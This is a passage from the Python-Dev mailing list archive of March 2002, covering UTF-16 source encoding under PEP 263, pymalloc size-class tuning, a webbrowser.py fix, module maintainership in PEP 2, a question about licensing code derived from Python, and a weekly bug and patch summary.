Also, I'm in favour of exposing the system codecs (on Linux, Windows,
and the Mac); if that is done, there may be no need to incorporate any
additional codecs in the Python distribution.

> In short:
> 
> If the current PEP regards UTF-8 BOM, why it does not allow UTF-16
> _with_ BOM?  The implementation would be very trivial.  UTF-16 with
> BOM is becoming somewhat popular among casual users in Japan.

This is, to some degree, comparing apples and oranges. The UTF-8 "BOM"
is not a byte order mark - it is just the ZERO WIDTH NO-BREAK SPACE
encoded in UTF-8. UTF-8 does not have the notion of "byte order", so
there can't be a "byte-order mark".

That said, it would be quite possible to support
UTF-16-with-BOM. However, use of UTF-16 in text files is highly
controversial - people have strong feelings against the BOM, used to
denote byte order. Also, people may run into problems if their editors
claim to support UTF-16, but fail to emit the BOM.

The primary reason why this is not supported is different, though: it
would complicate the implementation significantly, atleast the phase 1
implementation. If people contribute a phase 2 implementation that
supports the UTF-16 BOM as a side effect, I would personally
reconsider.

> It is true that many Japanese developers do not use UTF-16 at all (and
> may be even suspicious of anyone who talks about the use of it ;-).
> However, the rest of us sometimes use UTF-16 certainly.  You can edit
> UTF-16 files with, say, jEdit (www.jedit.org) on many platforms,
> including Unix and Windows.  And in particular, you can use TextEdit
> on Mac.  TextEdit on Mac OS X is a counterpart of notepad and wordpad
> on Windows.

And textedit cannot save as UTF-8?

> UTF-16 is typically 2/3 size to UTF-8 when many CJK chararcters are
> used (each of them are 3 bytes in UTF-8 and 2 bytes in UTF-16).  

While I see that this is a problem for arbitrary Japanese text, I
doubt you will find the 2/3 ratio for Python source code containing
Japanese text in string literals and comments.

> The implementation would be fairly straight.  If the file begins in
> either 0xFE 0xFF or 0xFF 0xFE, it must be UTF-16.

But then what? I'm still somewhat doubtful how to implement phase 2 of
the PEP. If UTF-16 support falls out as a side effect of a phase 2
implementation, and if it is useful to some users without causing harm
to others, I'm in favour of this extension.

However, I would hate promising today that phase 2 will support UTF-16
if that then turns out to be unimplementable for some obscure reason.
For example, the parser currently uses fgets to get the next line of
input. For the ASCII-superset encodings, this does the right thing.
For UTF-16, it will break horribly; this actually relates to the
"universal newline support" PEP.

Regards,
Martin


From martin@v.loewis.de  Sat Mar 16 09:30:50 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 16 Mar 2002 10:30:50 +0100
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEPDOEAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCCEPDOEAA.tim.one@comcast.net>
Message-ID: <m3vgbw7tbp.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> [martin@v.loewis.de]
> > I also wonder whether it might be sensible to space the size classes
> > 16 bytes apart, thus reducing the number of classes to 16.
> 
> I don't think so.  What's the upside?  Reducing the size of usedpools?  

Reducing the overhead memory allocated from the system. With 64 pools,
and each pool having 4k, on average, the allocator will waste 128k.
You are probably right that the wasted pad bytes will outnumber any
"static" overhead.

If you have a size class of 256 bytes, you will waste 224 bytes at the
end of each page, since 32 bytes of pool_header go into the beginning
of each page, and the last 224 bytes won't satisfy a 256 byte request.
So on a 4k page, the size class 256 currently wastes, on average, 224
+ 15 * 4 = 284 bytes (assuming that the average object wastes 4 bytes),
or 7%. So it may be worthwhile to increase the pool size.

Regards,
Martin


From skip@pobox.com  Sat Mar 16 16:44:48 2002
From: skip@pobox.com (Skip Montanaro)
Date: Sat, 16 Mar 2002 10:44:48 -0600
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCIEAAOFAA.tim.one@comcast.net>
References: <Pine.OS2.4.32.0203160935350.3905-100000@tenring.andymac.org>
 <LNBBLJKPBEHFEDALKOLCIEAAOFAA.tim.one@comcast.net>
Message-ID: <15507.30336.163921.776965@12-248-41-177.client.attbi.com>

    Tim> If people report positive results on Linux and Windows, I'd +1 it
    Tim> even if it slowed all other platforms.  

Average of three runs at each setting for _PYOBJECT_THRESHOLD:

    size                 pystone
    ----                 -------
     64                   5883
    136                   6012
    144                   6036
    160                   6036
    192                   6036
    216                   6024
    256                   5989

Looks like 144 is about as good as it will get for now.

Parameters: PIII 450MHz, Linux Mandrake 8.1, GCC 3.0.1, glibc 2.2.4, current
CVS Python (more or less).

Skip


From mwh@python.net  Sat Mar 16 18:24:43 2002
From: mwh@python.net (Michael Hudson)
Date: 16 Mar 2002 18:24:43 +0000
Subject: [Python-Dev] Re: [Python-checkins] CVS: python/dist/src/Lib webbrowser.py,1.28,1.29
In-Reply-To: Jack Jansen's message of "Fri, 15 Mar 2002 05:47:34 -0800"
References: <E16ls3S-0006x6-00@usw-pr-cvs1.sourceforge.net>
Message-ID: <2my9gscqvo.fsf@starship.python.net>

Jack Jansen <jackjansen@users.sourceforge.net> writes:

> Update of /cvsroot/python/python/dist/src/Lib
> In directory usw-pr-cvs1:/tmp/cvs-serv26704
> 
> Modified Files:
> 	webbrowser.py 
> Log Message:
> If no webbrowsers were found _tryorder would be empty, cmd would
> never be set and the "del cmd" would fail. Fixed.
> 
> 2.2.1 candidate.

No it's not :)

Cheers,
M.

-- 
  Considering that this thread is completely on-topic in the way only
  c.l.py threads can be, I think I can say that you should replace
  "Oblivion" with "Gravity", and increase your Radiohead quotient.
                                      -- Ben Wolfson, comp.lang.python


From faassen@vet.uu.nl  Sat Mar 16 20:22:25 2002
From: faassen@vet.uu.nl (Martijn Faassen)
Date: Sat, 16 Mar 2002 21:22:25 +0100
Subject: [Python-Dev] PEP 2: Procedure for Adding New Modules
In-Reply-To: <15505.22371.564782.807130@12-248-41-177.client.attbi.com>
References: <20020314225916.GA4527@vet.uu.nl> <15505.22371.564782.807130@12-248-41-177.client.attbi.com>
Message-ID: <20020316202225.GA11111@vet.uu.nl>

Skip Montanaro wrote:
>     Martijn> http://python.sourceforge.net/peps/pep-0002.html
> 
>     Martijn> Is this going in the right direction? Any things I should
>     Martijn> change?
> 
> Yeah, I think it's headed in the right direction.  One thing I would suggest
> is that the lead maintainer(s) for a module be granted checkin privileges.

Sure, I can add this, though perhaps that belongs in the 'technical PEP'
that should be its companion. What do others think about this?

> You mentioned python-dev.  It's high-traffic enough that the list admins
> should notice pretty quickly if a module's maintainer's email address goes
> bad.  That would allow someone to start tracking them down before it's been
> 18 months since anyone's heard from Joe X. Emell.

There was some discussion about this, but apparently this is indeed
possible. I could therefore add a phrase that lead maintainers are to
be subscribed to python-dev. That doesn't mean necessarily that they're
in fact listening of course, and doesn't track who is supposed to be
lead maintainer for what. Still, being subscribed to a mailing list where
they can be easily reached is a good idea.

Regards,

Martijn



From Jack.Jansen@oratrix.com  Sat Mar 16 21:56:46 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Sat, 16 Mar 2002 22:56:46 +0100
Subject: [Python-Dev] Re: [Python-checkins] CVS: python/dist/src/Lib webbrowser.py,1.28,1.29
In-Reply-To: <2my9gscqvo.fsf@starship.python.net>
Message-ID: <B600849F-3928-11D6-BF7D-003065517236@oratrix.com>

On zaterdag, maart 16, 2002, at 07:24 , Michael Hudson wrote:

> Jack Jansen <jackjansen@users.sourceforge.net> writes:
>
>> Update of /cvsroot/python/python/dist/src/Lib
>> In directory usw-pr-cvs1:/tmp/cvs-serv26704
>>
>> Modified Files:
>> 	webbrowser.py
>> Log Message:
>> If no webbrowsers were found _tryorder would be empty, cmd would
>> never be set and the "del cmd" would fail. Fixed.
>>
>> 2.2.1 candidate.
>
> No it's not :)

Well, you're the boss, of course, but could you explain, please? 
This fix addresses a problem where the regression tests fails in 
MacPython on Mac OS X: if there are no webbrowsers found then 
"import webbrowser" will crash (because of the unset cmd which 
is then delled), and test___all__ does an import of webbrowser.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From tim.one@comcast.net  Sat Mar 16 23:57:13 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 16 Mar 2002 18:57:13 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <m3vgbw7tbp.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCOECGOFAA.tim.one@comcast.net>

[martin@v.loewis.de]
> I also wonder whether it might be sensible to space the size classes
> 16 bytes apart, thus reducing the number of classes to 16.

[Tim asks why, and back to Martin]

> Reducing the overhead memory allocated from the system. With 64 pools,
> and each pool having 4k, on average, the allocator will waste 128k.

Ah.  Vladimir learned to steer clear of "simplifying assumptions" early on,
and his

    http://starship.python.net/crew/vlad/pymalloc/

pages are still a masterpiece of trying to extract signal from noise.
Mostly he left behind lots of noise reports and left the signal extraction
to the reader <wink>.

> ...
> If you have a size class of 256 bytes, you will waste 224 bytes at the
> end of each page, since 32 bytes of pool_header go into the beginning
> of each page, and the last 224 bytes won't satisfy a 256 byte request.
> So on a 4k page, the size class 256 currently wastes, on average, 224
> + 15 * 4 = 284 bytes (assuming that the average object wastes 4 bytes),
> or 7%. So it may be worthwhile to increase the pool size.

I primarily care about speed, so I'm not inclined to spend much time
worrying about worst-case 6.25% overhead:

>>> for n in range(8, 257, 8):
...     leftover = (4096 - 32) % n
...     percent = (leftover + 32) / 40.96
...     print "%3d %3d %5.2f" % (n, leftover, percent)
...
  8   0  0.78
 16   0  0.78
 24   8  0.98
 32   0  0.78
 40  24  1.37
 48  32  1.56
 56  32  1.56
 64  32  1.56
 72  32  1.56
 80  64  2.34
 88  16  1.17
 96  32  1.56
104   8  0.98
112  32  1.56
120 104  3.32
128  96  3.13
136 120  3.71
144  32  1.56
152 112  3.52
160  64  2.34
168  32  1.56
176  16  1.17
184  16  1.17
192  32  1.56
200  64  2.34
208 112  3.52
216 176  5.08
224  32  1.56
232 120  3.71
240 224  6.25
248  96  3.13
256 224  6.25

Most of these are tiny as-is, and setting the cutoff at 144 would remove the
three worst cases.

Note that I don't *object* to thinking about fiddling bucket sizes and steps
and number of classes, it's just that cutting already-small overhead
percentages isn't a priority to me.



From niemeyer@conectiva.com  Sun Mar 17 02:05:11 2002
From: niemeyer@conectiva.com (Gustavo Niemeyer)
Date: Sat, 16 Mar 2002 23:05:11 -0300
Subject: [Python-Dev] License question
Message-ID: <20020316230511.B2885@ibook>

Hello everyone!

I'm working on a module to handle bzip2 files and data. In the process,
I've used some code based on fileobject.c. Considering the current
python license, can I release this module under LGPL?

Thank you!

-- 
Gustavo Niemeyer

[ 2AAC 7928 0FBF 0299 5EB5  60E2 2253 B29A 6664 3A0C ]


From DavidA@ActiveState.com  Sun Mar 17 02:17:57 2002
From: DavidA@ActiveState.com (David Ascher)
Date: Sat, 16 Mar 2002 18:17:57 -0800
Subject: [Python-Dev] License question
References: <20020316230511.B2885@ibook>
Message-ID: <3C93FCD5.7FFBEEA9@ActiveState.com>

> I'm working on a module to handle bzip2 files and data. In the process,
> I've used some code based on fileobject.c. Considering the current
> python license, can I release this module under LGPL?

Yes.

Better yet, though, consider making it library-worthy and donating back
to the Python core.  =)

--david


From tim.one@comcast.net  Sun Mar 17 05:37:03 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 17 Mar 2002 00:37:03 -0500
Subject: [Python-Dev] License question
In-Reply-To: <20020316230511.B2885@ibook>
Message-ID: <LNBBLJKPBEHFEDALKOLCMECOOFAA.tim.one@comcast.net>

[Gustavo Niemeyer]
> I'm working on a module to handle bzip2 files and data. In the process,
> I've used some code based on fileobject.c. Considering the current
> python license, can I release this module under LGPL?

The Python license gives you the right to prepare derivative works and to
license them under any terms you like, but it does not give you the right to
*re*license those parts of your derivative work that you got from Python.
The Python license continues to apply to those:

    provided, however, that PSF's License Agreement and PSF's notice of
    copyright, i.e., "Copyright (c) 2001 Python Software Foundation; All
    Rights Reserved" are retained in ... any derivative version prepared
    by Licensee.

Ditto for the other licenses the PSF license is stacked on top of.  So you
have to retain the file full of licenses and copyrights that came with your
Python distribution.  They don't apply to the original portions of your
work, just to the portions of your work that came from the Python
distribution.

Note also:

    3. In the event Licensee prepares a derivative work that is based
    on or incorporates Python 2.2 or any part thereof, and wants to make
    the derivative work available to others as provided herein, then
    Licensee hereby agrees to include in any such work a brief summary
    of the changes made to Python 2.2.

This is to help us, you, and your users keep track of which parts of your
work are bound by the Python license, and which are bound by the license you
put on top of the stack.  Your work "as a whole" will be bound by your
license too, but the Python license doesn't allow you to forbid others to
reuse the Python *portions* of your work with the same freedom we let you
use it.

So, copy over the license file, and write a brief blurb explaining which
parts of the Python stuff is your original work.



From skip@mojam.com  Sun Mar 17 13:00:25 2002
From: skip@mojam.com (Skip Montanaro)
Date: Sun, 17 Mar 2002 07:00:25 -0600
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
Message-ID: <200203171300.g2HD0PY25712@12-248-41-177.client.attbi.com>

Bug/Patch Summary
-----------------

271 open / 2304 total bugs
108 open / 1372 total patches

Closed Bugs
-----------

HTTPConnection Host hdr wrong w/ proxy (2001-03-04)
	http://sourceforge.net/tracker/index.php?func=detail&aid=405939&group_id=5470&atid=105470
Missing docs for iteration support. (2001-05-02)
	http://sourceforge.net/tracker/index.php?func=detail&aid=420851&group_id=5470&atid=105470
overlapping groups ? (2001-06-12)
	http://sourceforge.net/tracker/index.php?func=detail&aid=432570&group_id=5470&atid=105470
Bug in re group handling (2001-08-07)
	http://sourceforge.net/tracker/index.php?func=detail&aid=448951&group_id=5470&atid=105470
Math_test overflowerror on sparc64 linux (2001-09-07)
	http://sourceforge.net/tracker/index.php?func=detail&aid=459464&group_id=5470&atid=105470
Build Problems on AIX 4.3.3 (2001-11-02)
	http://sourceforge.net/tracker/index.php?func=detail&aid=477487&group_id=5470&atid=105470
File copy fails on True64 AFS file syste (2001-11-08)
	http://sourceforge.net/tracker/index.php?func=detail&aid=479469&group_id=5470&atid=105470
xmlrpclib can produce ill-formed XML (2001-11-28)
	http://sourceforge.net/tracker/index.php?func=detail&aid=486527&group_id=5470&atid=105470
asynchat.async_chat missing methods (2001-12-11)
	http://sourceforge.net/tracker/index.php?func=detail&aid=491820&group_id=5470&atid=105470
Py_INCREF(Py_None) in documentation (2001-12-16)
	http://sourceforge.net/tracker/index.php?func=detail&aid=494007&group_id=5470&atid=105470
ext.doc uses deprecated(?) build proc. (2001-12-29)
	http://sourceforge.net/tracker/index.php?func=detail&aid=497695&group_id=5470&atid=105470
PyObject_GetIter not documented (2002-01-02)
	http://sourceforge.net/tracker/index.php?func=detail&aid=498607&group_id=5470&atid=105470
Misc/Makefile.pre.in missing (2002-01-02)
	http://sourceforge.net/tracker/index.php?func=detail&aid=498823&group_id=5470&atid=105470
smtplib - multiple addresses bug (2002-01-16)
	http://sourceforge.net/tracker/index.php?func=detail&aid=504611&group_id=5470&atid=105470
Improve I/O redirection to embedding app (2002-01-18)
	http://sourceforge.net/tracker/index.php?func=detail&aid=505490&group_id=5470&atid=105470
ugly floats using str() on tuples,lists (2002-01-21)
	http://sourceforge.net/tracker/index.php?func=detail&aid=506741&group_id=5470&atid=105470
Quote handling in os.system &amp; os.popen (2002-02-03)
	http://sourceforge.net/tracker/index.php?func=detail&aid=512433&group_id=5470&atid=105470
email.Parser uses LF as line sep. (2002-02-06)
	http://sourceforge.net/tracker/index.php?func=detail&aid=513683&group_id=5470&atid=105470

New Bugs
--------

metaclasses and 2.2 highlights (2002-02-08)
	http://sourceforge.net/tracker/index.php?func=detail&aid=515137&group_id=5470&atid=105470
Method assignment inconsistency (2002-02-09)
	http://sourceforge.net/tracker/index.php?func=detail&aid=515336&group_id=5470&atid=105470
Very slow performance (2002-02-09)
	http://sourceforge.net/tracker/index.php?func=detail&aid=515434&group_id=5470&atid=105470
Missing docs for module knee (2002-02-10)
	http://sourceforge.net/tracker/index.php?func=detail&aid=515745&group_id=5470&atid=105470
Missing docs for module imputil (2002-02-10)
	http://sourceforge.net/tracker/index.php?func=detail&aid=515751&group_id=5470&atid=105470
Windows os.path.isdir bad if drive only (2002-02-11)
	http://sourceforge.net/tracker/index.php?func=detail&aid=516232&group_id=5470&atid=105470
urlparse can get fragments wrong (2002-02-11)
	http://sourceforge.net/tracker/index.php?func=detail&aid=516299&group_id=5470&atid=105470
Python gettext doesn't support libglade (2002-02-12)
	http://sourceforge.net/tracker/index.php?func=detail&aid=516412&group_id=5470&atid=105470
Tix:NoteBook add/delete/add page problem (2002-02-12)
	http://sourceforge.net/tracker/index.php?func=detail&aid=516703&group_id=5470&atid=105470
have a way to search backwards for re (2002-02-12)
	http://sourceforge.net/tracker/index.php?func=detail&aid=516762&group_id=5470&atid=105470
Option processing in setup.cfg (2002-02-14)
	http://sourceforge.net/tracker/index.php?func=detail&aid=517451&group_id=5470&atid=105470
Installing Python 2.2 on Solaris 2.x (2002-02-14)
	http://sourceforge.net/tracker/index.php?func=detail&aid=517704&group_id=5470&atid=105470
Error in tutorial chapter 4 (2002-02-15)
	http://sourceforge.net/tracker/index.php?func=detail&aid=518076&group_id=5470&atid=105470
Menus and winfo_children() KeyError (2002-02-15)
	http://sourceforge.net/tracker/index.php?func=detail&aid=518283&group_id=5470&atid=105470
array module has undocumented features (2002-02-17)
	http://sourceforge.net/tracker/index.php?func=detail&aid=518767&group_id=5470&atid=105470
buffer object API description truncated (2002-02-17)
	http://sourceforge.net/tracker/index.php?func=detail&aid=518775&group_id=5470&atid=105470
exception cannot be new-style class (2002-02-17)
	http://sourceforge.net/tracker/index.php?func=detail&aid=518846&group_id=5470&atid=105470
Ellipsis semantics undefined (2002-02-17)
	http://sourceforge.net/tracker/index.php?func=detail&aid=518985&group_id=5470&atid=105470
Import statement Index ref. broken (2002-02-17)
	http://sourceforge.net/tracker/index.php?func=detail&aid=518989&group_id=5470&atid=105470
make-pyexpat failed (2002-02-18)
	http://sourceforge.net/tracker/index.php?func=detail&aid=519028&group_id=5470&atid=105470
__slots__ may lead to undetected cycles (2002-02-18)
	http://sourceforge.net/tracker/index.php?func=detail&aid=519621&group_id=5470&atid=105470
Double underscore needs clarification (2002-02-19)
	http://sourceforge.net/tracker/index.php?func=detail&aid=520325&group_id=5470&atid=105470
Regex object finditer not documented (2002-02-21)
	http://sourceforge.net/tracker/index.php?func=detail&aid=520904&group_id=5470&atid=105470
Undocumented Py_InitModule (2002-02-22)
	http://sourceforge.net/tracker/index.php?func=detail&aid=521448&group_id=5470&atid=105470
Python expects __eprintf on Solaris (2002-02-22)
	http://sourceforge.net/tracker/index.php?func=detail&aid=521706&group_id=5470&atid=105470
unreliable file.read() error handling (2002-02-23)
	http://sourceforge.net/tracker/index.php?func=detail&aid=521782&group_id=5470&atid=105470
compiler/transformer.py STARSTAR doesn't exist (2002-02-24)
	http://sourceforge.net/tracker/index.php?func=detail&aid=522274&group_id=5470&atid=105470
undocumented argument in filecmp.cmpfile (2002-02-25)
	http://sourceforge.net/tracker/index.php?func=detail&aid=522426&group_id=5470&atid=105470
Segfault evaluating '%.100f' % 2.0**100 (2002-02-25)
	http://sourceforge.net/tracker/index.php?func=detail&aid=522699&group_id=5470&atid=105470
bsddb keys corruption (2002-02-25)
	http://sourceforge.net/tracker/index.php?func=detail&aid=522780&group_id=5470&atid=105470
pickle/cPickle Inconsistent EOF handling (2002-02-26)
	http://sourceforge.net/tracker/index.php?func=detail&aid=523020&group_id=5470&atid=105470
shelve update fails  on "large" entry (2002-02-27)
	http://sourceforge.net/tracker/index.php?func=detail&aid=523425&group_id=5470&atid=105470
PyModule_AddObject doesn't set exception (2002-02-27)
	http://sourceforge.net/tracker/index.php?func=detail&aid=523473&group_id=5470&atid=105470
Inaccuracy in PyErr_SetFromErrno()'s doc (2002-02-28)
	http://sourceforge.net/tracker/index.php?func=detail&aid=523833&group_id=5470&atid=105470
PDB single steps list comprehensions (2002-02-28)
	http://sourceforge.net/tracker/index.php?func=detail&aid=523995&group_id=5470&atid=105470
USE_CACHE_ALIGNED still helpful? (2002-02-28)
	http://sourceforge.net/tracker/index.php?func=detail&aid=524062&group_id=5470&atid=105470
posixmodule.c fails Tru64 (stat macro) (2002-03-01)
	http://sourceforge.net/tracker/index.php?func=detail&aid=524600&group_id=5470&atid=105470
breaking file iter loop leaves file in stale state (2002-03-02)
	http://sourceforge.net/tracker/index.php?func=detail&aid=524804&group_id=5470&atid=105470
tty shipped in win32 distribution (2002-03-03)
	http://sourceforge.net/tracker/index.php?func=detail&aid=525121&group_id=5470&atid=105470
cmd.py does not flush stdout (2002-03-06)
	http://sourceforge.net/tracker/index.php?func=detail&aid=526357&group_id=5470&atid=105470
raw_input does not flush stdout (2002-03-06)
	http://sourceforge.net/tracker/index.php?func=detail&aid=526382&group_id=5470&atid=105470
Incomplete list of escape sequences (2002-03-06)
	http://sourceforge.net/tracker/index.php?func=detail&aid=526390&group_id=5470&atid=105470
tixwidgets.py improperly indented (2002-03-06)
	http://sourceforge.net/tracker/index.php?func=detail&aid=526548&group_id=5470&atid=105470
raw_input non-ascii failure on Linux/KDE (2002-03-07)
	http://sourceforge.net/tracker/index.php?func=detail&aid=527022&group_id=5470&atid=105470
bogus URLs cause exception in httplib (2002-03-07)
	http://sourceforge.net/tracker/index.php?func=detail&aid=527064&group_id=5470&atid=105470
random.gammavariate hosed (2002-03-07)
	http://sourceforge.net/tracker/index.php?func=detail&aid=527139&group_id=5470&atid=105470
httplib test causes SSL core dump (2002-03-08)
	http://sourceforge.net/tracker/index.php?func=detail&aid=527521&group_id=5470&atid=105470
popen3 hangs on windows (2002-03-09)
	http://sourceforge.net/tracker/index.php?func=detail&aid=527783&group_id=5470&atid=105470
classmethod().__get__() segfault (2002-03-10)
	http://sourceforge.net/tracker/index.php?func=detail&aid=528132&group_id=5470&atid=105470
Nested Scopes bug (Confirmed) (2002-03-10)
	http://sourceforge.net/tracker/index.php?func=detail&aid=528274&group_id=5470&atid=105470
asyncore unhandled write event (2002-03-10)
	http://sourceforge.net/tracker/index.php?func=detail&aid=528295&group_id=5470&atid=105470
unicodeobject can coredump on exit (2002-03-11)
	http://sourceforge.net/tracker/index.php?func=detail&aid=528620&group_id=5470&atid=105470
range() description: rewording suggested (2002-03-11)
	http://sourceforge.net/tracker/index.php?func=detail&aid=528748&group_id=5470&atid=105470
PyTraceBack_Store/Fetch are absent (2002-03-12)
	http://sourceforge.net/tracker/index.php?func=detail&aid=528914&group_id=5470&atid=105470
bug? in PyImport_ImportModule under AIX (2002-03-12)
	http://sourceforge.net/tracker/index.php?func=detail&aid=528990&group_id=5470&atid=105470
broken error handling in unicode-escape (2002-03-12)
	http://sourceforge.net/tracker/index.php?func=detail&aid=529104&group_id=5470&atid=105470
test_pyclbr: bad dependency for input (2002-03-12)
	http://sourceforge.net/tracker/index.php?func=detail&aid=529135&group_id=5470&atid=105470
ICGlue byte alignment issue (2002-03-12)
	http://sourceforge.net/tracker/index.php?func=detail&aid=529146&group_id=5470&atid=105470
Linking under AIX failing (2002-03-13)
	http://sourceforge.net/tracker/index.php?func=detail&aid=529713&group_id=5470&atid=105470
Circular reference makes Py_Init crash (2002-03-13)
	http://sourceforge.net/tracker/index.php?func=detail&aid=529750&group_id=5470&atid=105470
re module syntax documentation omission (2002-03-14)
	http://sourceforge.net/tracker/index.php?func=detail&aid=529923&group_id=5470&atid=105470
pydoc regression (2002-03-14)
	http://sourceforge.net/tracker/index.php?func=detail&aid=530070&group_id=5470&atid=105470
Typo in 3.16 copy_reg doc (2002-03-14)
	http://sourceforge.net/tracker/index.php?func=detail&aid=530143&group_id=5470&atid=105470
fpectl build on solaris: -lsunmath (2002-03-14)
	http://sourceforge.net/tracker/index.php?func=detail&aid=530163&group_id=5470&atid=105470
redefining SRE_CODE in Modules/sre.h (2002-03-15)
	http://sourceforge.net/tracker/index.php?func=detail&aid=530285&group_id=5470&atid=105470
Popen3 might cause dead lock (2002-03-16)
	http://sourceforge.net/tracker/index.php?func=detail&aid=530637&group_id=5470&atid=105470
import and execfile don't handle utf-16 (2002-03-16)
	http://sourceforge.net/tracker/index.php?func=detail&aid=530882&group_id=5470&atid=105470

Closed Patches
--------------

Additional Argument to Python/C Function (2001-07-01)
	http://sourceforge.net/tracker/index.php?func=detail&aid=437733&group_id=5470&atid=305470
Generic AIX C++ Module Support (2001-07-09)
	http://sourceforge.net/tracker/index.php?func=detail&aid=439848&group_id=5470&atid=305470
Minor fix to gzip.py module. (2001-07-23)
	http://sourceforge.net/tracker/index.php?func=detail&aid=443899&group_id=5470&atid=305470
Extend/embed tools for AIX (2001-08-13)
	http://sourceforge.net/tracker/index.php?func=detail&aid=450583&group_id=5470&atid=305470
sys module feature patch - modify_argv() (2001-09-02)
	http://sourceforge.net/tracker/index.php?func=detail&aid=457892&group_id=5470&atid=305470
Tkinter and its encodings on Windows (2001-10-24)
	http://sourceforge.net/tracker/index.php?func=detail&aid=474505&group_id=5470&atid=305470
patches errno and stat to cope on plan9 (2001-12-16)
	http://sourceforge.net/tracker/index.php?func=detail&aid=494045&group_id=5470&atid=305470
removes 64-bit ?: to cope on plan9 (2001-12-16)
	http://sourceforge.net/tracker/index.php?func=detail&aid=494047&group_id=5470&atid=305470
fileobject truncate support for win32 (2001-12-31)
	http://sourceforge.net/tracker/index.php?func=detail&aid=498109&group_id=5470&atid=305470
Minor typo in test_generators.py (2002-01-03)
	http://sourceforge.net/tracker/index.php?func=detail&aid=499062&group_id=5470&atid=305470
Update ext build documentation (2002-01-06)
	http://sourceforge.net/tracker/index.php?func=detail&aid=500136&group_id=5470&atid=305470
backward compat. on calendar.py (2002-01-13)
	http://sourceforge.net/tracker/index.php?func=detail&aid=503202&group_id=5470&atid=305470
add plan9 threads include to thread.c (2002-01-15)
	http://sourceforge.net/tracker/index.php?func=detail&aid=504224&group_id=5470&atid=305470
Allow sys.setdlopenflags on OSX (2002-02-01)
	http://sourceforge.net/tracker/index.php?func=detail&aid=511962&group_id=5470&atid=305470
webchecker protocol bug (2002-02-04)
	http://sourceforge.net/tracker/index.php?func=detail&aid=512799&group_id=5470&atid=305470

New Patches
-----------

remove extra SET_LINENOs (2002-02-08)
	http://sourceforge.net/tracker/index.php?func=detail&aid=514997&group_id=5470&atid=305470
Added HTTP{,S}ProxyConnection (2002-02-08)
	http://sourceforge.net/tracker/index.php?func=detail&aid=515003&group_id=5470&atid=305470
iterator for lineinput (2002-02-11)
	http://sourceforge.net/tracker/index.php?func=detail&aid=516297&group_id=5470&atid=305470
poor performance in xmlrpc response (2002-02-13)
	http://sourceforge.net/tracker/index.php?func=detail&aid=517256&group_id=5470&atid=305470
Return objects in Tkinter (2002-02-16)
	http://sourceforge.net/tracker/index.php?func=detail&aid=518625&group_id=5470&atid=305470
Adding galeon support  (2002-02-16)
	http://sourceforge.net/tracker/index.php?func=detail&aid=518675&group_id=5470&atid=305470
mailbox / fromline matching (2002-02-22)
	http://sourceforge.net/tracker/index.php?func=detail&aid=521478&group_id=5470&atid=305470
Fixes pydoc http/ftp URL matching (2002-02-25)
	http://sourceforge.net/tracker/index.php?func=detail&aid=522587&group_id=5470&atid=305470
Explict proxies for urllib.urlopen() (2002-02-27)
	http://sourceforge.net/tracker/index.php?func=detail&aid=523415&group_id=5470&atid=305470
Finding "home" in "user.py" for Windows (2002-02-27)
	http://sourceforge.net/tracker/index.php?func=detail&aid=523424&group_id=5470&atid=305470
imputil.py can't import "\r\n" .py files (2002-02-28)
	http://sourceforge.net/tracker/index.php?func=detail&aid=523944&group_id=5470&atid=305470
Extension to Calltips / Show attributes (2002-03-03)
	http://sourceforge.net/tracker/index.php?func=detail&aid=525109&group_id=5470&atid=305470
minor fix for regen on IRIX (2002-03-04)
	http://sourceforge.net/tracker/index.php?func=detail&aid=525763&group_id=5470&atid=305470
urllib2: duplicate call, stat attrs (2002-03-05)
	http://sourceforge.net/tracker/index.php?func=detail&aid=525870&group_id=5470&atid=305470
PEP 263 Implementation (2002-03-07)
	http://sourceforge.net/tracker/index.php?func=detail&aid=526840&group_id=5470&atid=305470
Allow building python as shared library (2002-03-07)
	http://sourceforge.net/tracker/index.php?func=detail&aid=527027&group_id=5470&atid=305470
Fix for sre bug 470582 (2002-03-08)
	http://sourceforge.net/tracker/index.php?func=detail&aid=527371&group_id=5470&atid=305470
urllib2.py: fix behavior with proxies (2002-03-08)
	http://sourceforge.net/tracker/index.php?func=detail&aid=527518&group_id=5470&atid=305470
PEP 285 - Adding a bool type (2002-03-09)
	http://sourceforge.net/tracker/index.php?func=detail&aid=528022&group_id=5470&atid=305470
fix random.gammavariate bug #527139 (2002-03-13)
	http://sourceforge.net/tracker/index.php?func=detail&aid=529408&group_id=5470&atid=305470
Enable pymalloc  (2002-03-15)
	http://sourceforge.net/tracker/index.php?func=detail&aid=530556&group_id=5470&atid=305470


From mwh@python.net  Sun Mar 17 15:41:43 2002
From: mwh@python.net (Michael Hudson)
Date: Sun, 17 Mar 2002 15:41:43 +0000 (GMT)
Subject: [Python-Dev] Re: [Python-checkins] CVS: python/dist/src/Lib
 webbrowser.py,1.28,1.29
In-Reply-To: <B600849F-3928-11D6-BF7D-003065517236@oratrix.com>
Message-ID: <Pine.LNX.4.44.0203171540220.2463-100000@starship.python.net>

On Sat, 16 Mar 2002, Jack Jansen wrote:

> 
> On zaterdag, maart 16, 2002, at 07:24 , Michael Hudson wrote:
> 
> > Jack Jansen <jackjansen@users.sourceforge.net> writes:
> >
> >> Update of /cvsroot/python/python/dist/src/Lib
> >> In directory usw-pr-cvs1:/tmp/cvs-serv26704
> >>
> >> Modified Files:
> >> 	webbrowser.py
> >> Log Message:
> >> If no webbrowsers were found _tryorder would be empty, cmd would
> >> never be set and the "del cmd" would fail. Fixed.
> >>
> >> 2.2.1 candidate.
> >
> > No it's not :)
> 
> Well, you're the boss, of course, but could you explain, please? 
> This fix addresses a problem where the regression tests fails in 
> MacPython on Mac OS X: if there are no webbrowsers found then 
